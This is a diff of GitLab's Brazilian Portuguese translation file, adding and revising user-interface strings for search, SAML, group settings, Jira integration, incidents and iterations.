-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr "Solicitação de conta do GitLab rejeitada"
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15654,7 +15901,7 @@ msgid "GitLab for Slack"
msgstr "GitLab para Slack"
msgid "GitLab group: %{source_link}"
-msgstr ""
+msgstr "Grupo do GitLab: %{source_link}"
msgid "GitLab informs you if a new version is available."
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr "Versão do GitLab"
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr "GitLab.com"
@@ -15822,7 +16072,7 @@ msgid "Gitea Import"
msgstr "Importação do Gitea"
msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
-msgstr ""
+msgstr "Crie um %{token_link_start}token de acesso pessoal%{token_link_end} com acessos %{status_html} concedidos e cole-o aqui."
msgid "GithubIntegration|Enable static status check names"
msgstr ""
@@ -15831,7 +16081,7 @@ msgid "GithubIntegration|Obtain statuses for commits and pull requests."
msgstr "Obtenha o status para commits e pull requests."
msgid "GithubIntegration|Repository URL"
-msgstr ""
+msgstr "URL do repositório"
msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
msgstr ""
@@ -15840,7 +16090,7 @@ msgid "GithubIntegration|Static status check names (optional)"
msgstr ""
msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
+msgstr "Isso requer o espelhamento de seu repositório do GitHub para este projeto. %{docs_link}"
msgid "Gitpod"
msgstr "Gitpod"
@@ -15875,6 +16125,51 @@ msgstr "Atalhos Globais"
msgid "Global notification settings"
msgstr "Configurações de notificação global"
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr "Voltar"
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr "Google Cloud"
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16041,13 +16348,13 @@ msgid "Grafana response contains invalid json"
msgstr ""
msgid "GrafanaIntegration|API token"
-msgstr ""
+msgstr "Token da API"
msgid "GrafanaIntegration|Active"
msgstr "Ativo"
msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
-msgstr ""
+msgstr "Digite o %{docLinkStart}token da API do Grafana%{docLinkEnd}."
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
msgstr "Insira a URL base da instância do Grafana."
@@ -16079,6 +16386,9 @@ msgstr "Mostrar dependências"
msgid "GraphViewType|Stage"
msgstr "Estágio"
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr "Gravatar"
@@ -16137,7 +16447,7 @@ msgid "Group by"
msgstr "Agrupar por"
msgid "Group description"
-msgstr ""
+msgstr "Descrição do grupo"
msgid "Group description (optional)"
msgstr "Descrição do grupo (opcional)"
@@ -16343,7 +16653,7 @@ msgstr "Dentro de 3 anos"
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16371,13 +16681,13 @@ msgid "GroupSAML|Could not create SAML group link: %{errors}."
msgstr ""
msgid "GroupSAML|Default membership role"
-msgstr ""
+msgstr "Cargo de membro padrão"
msgid "GroupSAML|Enable SAML authentication for this group"
msgstr "Ativar autenticação SAML para esse grupo"
msgid "GroupSAML|Enforce SSO-only authentication for Git and Dependency Proxy activity for this group"
-msgstr ""
+msgstr "Reforçar autenticação somente via SSO para atividades de proxy de dependências para esse grupo"
msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group"
msgstr "Reforçar autenticação somente via SSO para atividades web deste grupo"
@@ -16407,7 +16717,7 @@ msgid "GroupSAML|Members"
msgstr "Membros"
msgid "GroupSAML|Members will be forwarded here when signing in to your group. Get this from your identity provider, where it can also be called \"SSO Service Location\", \"SAML Token Issuance Endpoint\", or \"SAML 2.0/W-Federation URL\"."
-msgstr ""
+msgstr "Membros serão encaminhados quando fizerem login no seu grupo. Obtenha isso pelo seu provedor de identidade, também chamado de \"SSO Service Location\", \"SAM Token Issuance Endpoint\", ou \"SAML 2.0/W-Federation URL\"."
msgid "GroupSAML|NameID"
msgstr "NameID"
@@ -16443,31 +16753,31 @@ msgid "GroupSAML|SAML Response XML"
msgstr ""
msgid "GroupSAML|SAML Single Sign On"
-msgstr ""
+msgstr "Entrada única SAML"
msgid "GroupSAML|SAML Single Sign On Settings"
-msgstr ""
+msgstr "Configurações de entrada única SAML"
msgid "GroupSAML|SAML group link was successfully removed."
msgstr ""
msgid "GroupSAML|SCIM API endpoint URL"
-msgstr ""
+msgstr "URL do endpoint de API de SCIM"
msgid "GroupSAML|SCIM Token"
-msgstr ""
+msgstr "Token de SCIM"
msgid "GroupSAML|SHA1 fingerprint of the SAML token signing certificate. Get this from your identity provider, where it can also be called \"Thumbprint\"."
-msgstr ""
+msgstr "Impressão digital SHA1 do certificado de assinatura de token SAML. Obtenha isso do seu provedor de identidade, onde ele também pode ser chamado de \"Thumbprint\"."
msgid "GroupSAML|The SCIM token is now hidden. To see the value of the token again, you need to "
-msgstr ""
+msgstr "O token SCIM agora está oculto. Para ver o valor do token novamente, você precisa "
msgid "GroupSAML|The case-sensitive group name that will be sent by the SAML identity provider."
msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
-msgstr ""
+msgstr "Isso será definido como o nível de acesso dos usuários adicionados ao grupo."
msgid "GroupSAML|To be able to enable group-managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -16485,7 +16795,7 @@ msgid "GroupSAML|With prohibit outer forks flag enabled group members will be ab
msgstr ""
msgid "GroupSAML|Your SCIM token"
-msgstr ""
+msgstr "Seu token SCIM"
msgid "GroupSAML|as %{access_level}"
msgstr ""
@@ -16506,10 +16816,10 @@ msgid "GroupSelect|Select a group"
msgstr "Selecionar grupos"
msgid "GroupSettings|Allow project access token creation"
-msgstr ""
+msgstr "Permitir a criação de token de acesso ao projeto"
msgid "GroupSettings|Applied to all subgroups unless overridden by a group owner. Groups already added to the project lose access."
-msgstr ""
+msgstr "Aplicado a todos os subgrupos, a menos que seja substituído por um proprietário do grupo. Os grupos já adicionados ao projeto perdem o acesso."
msgid "GroupSettings|Auto DevOps pipeline was updated for the group"
msgstr "Pipeline de Auto DevOps foi atualizado para o grupo"
@@ -16542,7 +16852,7 @@ msgid "GroupSettings|Custom project templates"
msgstr "Modelos de projetos personalizados"
msgid "GroupSettings|Customize this group's badges."
-msgstr ""
+msgstr "Personalize os selos deste grupo."
msgid "GroupSettings|Default to Auto DevOps pipeline for all projects within this group"
msgstr "Padrão para pipeline de Auto DevOps para todos os projetos dentro deste grupo"
@@ -16560,7 +16870,7 @@ msgid "GroupSettings|Export group"
msgstr "Exportar grupo"
msgid "GroupSettings|If not specified at the group or instance level, the default is %{default_initial_branch_name}. Does not affect existing repositories."
-msgstr ""
+msgstr "Se não for especificado no nível de grupo ou instância, o padrão é %{default_initial_branch_name}. Não afeta os repositórios existentes."
msgid "GroupSettings|If the parent group's visibility is lower than the group current visibility, visibility levels for subgroups and projects will be changed to match the new parent group's visibility."
msgstr ""
@@ -16569,7 +16879,7 @@ msgid "GroupSettings|New runners registration token has been generated!"
msgstr "Um novo token de registro de executores foi gerado!"
msgid "GroupSettings|Overrides user notification preferences for all members of the group, subgroups, and projects."
-msgstr ""
+msgstr "Substitui as preferências de notificação do usuário para todos os membros do grupo, subgrupos e projetos."
msgid "GroupSettings|Pipeline settings was updated for the group"
msgstr ""
@@ -16578,34 +16888,34 @@ msgid "GroupSettings|Please choose a group URL with no special characters or spa
msgstr ""
msgid "GroupSettings|Prevent forking outside of the group"
-msgstr "Impedir fork fora do grupo"
+msgstr "Evitar fork fora do grupo"
msgid "GroupSettings|Prevent forking setting was not saved"
-msgstr ""
+msgstr "A configuração de prevenção de fork não foi salva"
msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups"
-msgstr ""
+msgstr "Evitar que membros enviem convites para grupos fora de %{group} e seus subgrupos"
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
-msgstr "Bloquear compartilhamento de projetos do grupo %{group} com outros grupos"
+msgstr "Evitar compartilhamento de projetos do grupo %{group} com outros grupos"
msgid "GroupSettings|Prevents group members from being notified if the group is mentioned."
-msgstr "Impede que os membros do grupo sejam notificados se o grupo for mencionado."
+msgstr "Evitar que os membros do grupo sejam notificados se o grupo for mencionado."
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
-msgstr ""
+msgstr "Os projetos serão excluídos permanentemente após um %{waiting_period} atraso de dia(s). Herdado por subgrupos."
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
-msgstr ""
+msgstr "Os projetos serão excluídos permanentemente após um %{waiting_period}-atraso de dia(s). Este atraso pode ser %{link_start}personalizado por um administrador%{link_end} nas configurações de instância. Herdado por subgrupos."
msgid "GroupSettings|Select a project with the %{code_start}.gitlab/insights.yml%{code_end} file"
-msgstr ""
+msgstr "Selecione um projeto com o arquivo %{code_start}.gitlab/insights.yml%{code_end}"
msgid "GroupSettings|Select a subgroup to use as the source for custom project templates for this group."
msgstr "Selecione um subgrupo para usar como fonte para modelos de projeto personalizados para este grupo."
msgid "GroupSettings|Select the project that contains your custom Insights file."
-msgstr ""
+msgstr "Selecione o projeto que contém seu arquivo personalizado do Insights."
msgid "GroupSettings|Set the maximum size of GitLab Pages for this group. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -16614,7 +16924,7 @@ msgid "GroupSettings|The Auto DevOps pipeline runs if no alternative CI configur
msgstr "O pipeline de Auto DevOps é executado se nenhum arquivo de configuração de CI for encontrado."
msgid "GroupSettings|The default name for the initial branch of new repositories created in the group."
-msgstr ""
+msgstr "O nome padrão para a ramificação inicial de novos repositórios criados no grupo."
msgid "GroupSettings|The projects in this subgroup can be selected as templates for new projects created in the group. %{link_start}Learn more.%{link_end}"
msgstr "Os projetos neste subgrupo podem ser selecionados como modelos para novos projetos criados no grupo. %{link_start}Saiba mais.%{link_end}"
@@ -16643,14 +16953,20 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr "O que são selos?"
-msgid "GroupSettings|You can only transfer the group to a group you manage."
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
msgstr ""
-msgid "GroupSettings|You will need to update your local repositories to point to the new location."
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
msgstr ""
+msgid "GroupSettings|You can only transfer the group to a group you manage."
+msgstr "Você só pode transferir o grupo para um grupo que você gerencia."
+
+msgid "GroupSettings|You will need to update your local repositories to point to the new location."
+msgstr "Você precisará atualizar seus repositórios locais para apontar para a nova localização."
+
msgid "GroupSettings|cannot be changed by you"
-msgstr ""
+msgstr "não podem ser alteradas por você"
msgid "GroupSettings|cannot be disabled when the parent group \"Share with group lock\" is enabled, except by the owner of the parent group"
msgstr "não pode ser desativado quando a configuração \"Travar compartilhamento de grupo\" está ativada, a não ser pelo dono do grupo pai"
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,12 +17154,15 @@ msgstr ""
msgid "Header message"
msgstr "Mensagem de cabeçalho"
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
msgstr ""
-msgid "Headers"
+msgid "HeaderAction|issue"
msgstr ""
+msgid "Headers"
+msgstr "Cabeçalhos\t"
+
msgid "Heading 1"
msgstr "Título 1"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr "Olá %{username}!"
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr "Ocultar"
@@ -17008,7 +17333,7 @@ msgid "History of authentications"
msgstr "Histórico de autenticações"
msgid "Holder name:"
-msgstr ""
+msgstr "Nome do titular:"
msgid "Home page URL"
msgstr "URL da página inicial"
@@ -17199,7 +17524,7 @@ msgstr "Identificadores"
msgid "Identities"
msgstr "Identidades"
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17266,10 +17594,10 @@ msgid "If you did not perform this request, you can safely ignore this email."
msgstr "Se você não realizou essa solicitação, pode ignorar este e-mail com segurança."
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
-msgstr ""
+msgstr "Se você não entrou recentemente, deve imediatamente %{password_link_start}alterar sua senha%{password_link_end}."
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
-msgstr ""
+msgstr "Se você não entrou recentemente, deve alterar sua senha imediatamente: %{password_link}."
msgid "If you get a lot of false alarms from repository checks, you can clear all repository check information from the database."
msgstr ""
@@ -17278,7 +17606,7 @@ msgid "If you lose your recovery codes you can generate new ones, invalidating a
msgstr "Se você perder seus códigos de recuperação, você pode gerar novos, invalidando todos os códigos anteriores."
msgid "If you recently signed in and recognize the IP address, you may disregard this email."
-msgstr ""
+msgstr "Se você entrou recentemente e reconhece o endereço IP, pode desconsiderar este e-mail."
msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
msgstr ""
@@ -18015,8 +18343,11 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
-msgstr "Todos os alertas promovidos para incidentes serão exibidos automaticamente na lista. Você também pode criar um novo incidente usando o botão abaixo."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
+msgstr ""
msgid "IncidentManagement|Assignees"
msgstr "Responsáveis"
@@ -18031,7 +18362,7 @@ msgid "IncidentManagement|Critical - S1"
msgstr ""
msgid "IncidentManagement|Date created"
-msgstr ""
+msgstr "Data de criação"
msgid "IncidentManagement|Display your incidents in a dedicated view"
msgstr "Exibir seus incidentes em uma visão dedicada"
@@ -18067,7 +18398,7 @@ msgid "IncidentManagement|Published to status page"
msgstr ""
msgid "IncidentManagement|Severity"
-msgstr ""
+msgstr "Severidade"
msgid "IncidentManagement|There are no closed incidents"
msgstr ""
@@ -18076,13 +18407,13 @@ msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
msgid "IncidentManagement|Time to SLA"
-msgstr ""
+msgstr "Tempo para SLA"
msgid "IncidentManagement|Unassigned"
msgstr ""
msgid "IncidentManagement|Unknown"
-msgstr ""
+msgstr "Desconhecido"
msgid "IncidentManagement|Unpublished"
msgstr "Não publicado"
@@ -18180,9 +18511,6 @@ msgstr "Incluir o nome do autor no corpo do e-mail de notificação"
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr "Incluir a descrição da solicitação de mesclagem"
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr "Infraestrutura"
msgid "Infrastructure Registry"
msgstr "Registro de infraestrutura"
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr "Copiar comando do Terraform"
@@ -18402,7 +18733,7 @@ msgid "Integrations"
msgstr "Integrações"
msgid "Integrations|%{integrationTitle}: active"
-msgstr ""
+msgstr "%{integrationTitle}: ativo"
msgid "Integrations|%{integration} settings saved and active."
msgstr ""
@@ -18438,7 +18769,7 @@ msgid "Integrations|Browser limitations"
msgstr "Limitações do navegador"
msgid "Integrations|Comment detail:"
-msgstr ""
+msgstr "Detalhe do comentário:"
msgid "Integrations|Comment settings:"
msgstr "Configurações de comentário:"
@@ -18461,10 +18792,16 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr "Ativae os comandos de barra do GitLab.com em um espaço de trabalho do Slack."
msgid "Integrations|Enable comments"
+msgstr "Ativar comentários"
+
+msgid "Integrations|Enter your alias"
msgstr ""
msgid "Integrations|Failed to link namespace. Please try again."
@@ -18489,7 +18826,7 @@ msgid "Integrations|Includes Standard, plus the entire commit message, commit ha
msgstr ""
msgid "Integrations|Includes commit title and branch."
-msgstr ""
+msgstr "Inclui título de commit e ramificação."
msgid "Integrations|Instance-level integration management"
msgstr ""
@@ -18561,7 +18898,7 @@ msgid "Integrations|Sign in to add namespaces"
msgstr "Entre para adicionar espaço de nome"
msgid "Integrations|Standard"
-msgstr ""
+msgstr "Padrão"
msgid "Integrations|There are no projects using custom settings"
msgstr "Não há projetos usando configurações personalizadas"
@@ -18579,11 +18916,14 @@ msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
-msgstr ""
+msgstr "Quando você menciona uma issue do Jira em uma solicitação de commit ou de mesclagem, o GitLab cria um link remoto e um comentário (se ativado)."
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr "Você ainda não ativou nenhuma integração."
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr "Modo interativo"
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr "Padrão de intervalo"
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,8 +19035,8 @@ msgstr "Entrada ou senha inválidos"
msgid "Invalid period"
msgstr "Período inválido"
-msgid "Invalid pin code"
-msgstr "Código PIN inválido"
+msgid "Invalid pin code."
+msgstr ""
msgid "Invalid pod_name"
msgstr ""
@@ -18824,24 +19173,21 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr "Configurar CI/CD"
-
-msgid "InviteMembersModal|Configure security features"
-msgstr "Configurar funcionalidades de segurança"
-
-msgid "InviteMembersModal|Contribute to the codebase"
-msgstr "Contribua com a base de código"
-
msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
+msgid "InviteMembersModal|GitLab is better with colleagues!"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or email address"
msgstr "Membro do GitLab ou endereço de e-mail"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
+msgstr ""
+
msgid "InviteMembersModal|Invite"
msgstr "Convidar"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr "Membros foram adicionados com sucesso"
-msgid "InviteMembersModal|Other"
-msgstr "Outro"
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr "Eventos de issue"
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr "etiqueta de issue"
@@ -19139,6 +19482,9 @@ msgstr "Alguns de seus painéis estão ocultos, ative uma licença para vê-los
msgid "IssueBoards|Switch board"
msgstr "Alternar painel"
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr "Rastreador de issues personalizado"
@@ -19196,17 +19542,14 @@ msgstr ""
msgid "Issues"
msgstr "Issues"
-msgid "Issues I've created"
-msgstr "Issues que eu criei"
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr "Issues e solicitações de mesclagem"
-msgid "Issues assigned to me"
-msgstr "Issues atribuídas a mim"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
+msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
msgstr "Issues podem ser bugs, tarefas ou ideias a serem discutidas. Além disso, issues são pesquisáveis e filtráveis."
@@ -19214,9 +19557,6 @@ msgstr "Issues podem ser bugs, tarefas ou ideias a serem discutidas. Além disso
msgid "Issues closed"
msgstr "Issues fechadas"
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr "Adicionar iteração"
msgid "Iterations|Automated scheduling"
msgstr "Agendamento automatizado"
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr "Criar iteração"
@@ -19401,7 +19747,7 @@ msgid "Iterations|The duration for each iteration (in weeks)"
msgstr ""
msgid "Iterations|The iteration has been deleted."
-msgstr ""
+msgstr "A iteração foi excluída."
msgid "Iterations|The start date of your first iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr "Isso removerá a iteração de quaisquer issues atribuídos a ela."
msgid "Iterations|Title"
msgstr "Título"
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr "Janeiro"
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr "Issues do Jira"
-
msgid "Jira display name"
msgstr "Nome de exibição Jira"
@@ -19530,7 +19879,7 @@ msgid "JiraService|Automatically transitions Jira issues to the \"Done\" categor
msgstr ""
msgid "JiraService|Base URL of the Jira instance."
-msgstr ""
+msgstr "URL base da instância do Jira."
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr "Digite uma nova senha ou token de API"
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Eventos para %{noteable_model_name} estão desabilitados."
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19583,18 +19923,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr "Lista de issue"
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr "URL da API do JIRA"
-msgid "JiraService|Jira Issues"
-msgstr "Issues do Jira"
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19604,6 +19938,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr "Tipo de issue do Jira"
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr "Chave do projeto do Jira"
@@ -19613,12 +19950,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr "Mover para Concluído"
-msgid "JiraService|No available statuses"
-msgstr "Nenhum status disponível"
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr "Abrir Jira"
@@ -19649,9 +19980,6 @@ msgstr "Este é um recurso Premium"
msgid "JiraService|This is an Ultimate feature"
msgstr "Este é um recurso Ultimate"
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr "Essa issue está sincronizado com o Jira"
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19677,10 +20005,10 @@ msgid "JiraService|Using Jira for issue tracking?"
msgstr "Usando Jira para rastreamento de issue?"
msgid "JiraService|View Jira issues in GitLab"
-msgstr ""
+msgstr "Ver issues do Jira no GitLab"
msgid "JiraService|Warning: All GitLab users that have access to this GitLab project are able to view all issues from the Jira project specified below."
-msgstr ""
+msgstr "Aviso: Todos os usuários do GitLab que têm acesso a este projeto no GitLab podem visualizar todos as issues do projeto do Jira especificados abaixo."
msgid "JiraService|Web URL"
msgstr "URL da Web"
@@ -19689,7 +20017,7 @@ msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu
msgstr ""
msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
-msgstr ""
+msgstr "Você precisa configurar o Jira antes de ativar esta integração. Para obter mais detalhes, leia a %{jira_doc_link_start}documentação de integração do Jira%{link_end}."
msgid "Job"
msgstr "Tarefa"
@@ -19746,7 +20074,7 @@ msgid "Jobs older than the configured time are considered expired and are archiv
msgstr ""
msgid "Jobs|Are you sure you want to proceed?"
-msgstr ""
+msgstr "Tem certeza que deseja prosseguir?"
msgid "Jobs|Are you sure you want to retry this job?"
msgstr ""
@@ -19851,7 +20179,7 @@ msgid "Join Zoom meeting"
msgstr "Participe da reunião com Zoom"
msgid "Join a project"
-msgstr ""
+msgstr "Entrar em um projeto"
msgid "Join your team on GitLab and contribute to an existing project"
msgstr ""
@@ -19949,6 +20277,9 @@ msgstr "Chaves"
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20111,7 +20442,7 @@ msgid "Last Activity"
msgstr "Última atividade"
msgid "Last Name"
-msgstr ""
+msgstr "Sobrenome"
msgid "Last Pipeline"
msgstr "Último Pipeline"
@@ -20120,7 +20451,7 @@ msgid "Last Seen"
msgstr "Visto pela última vez"
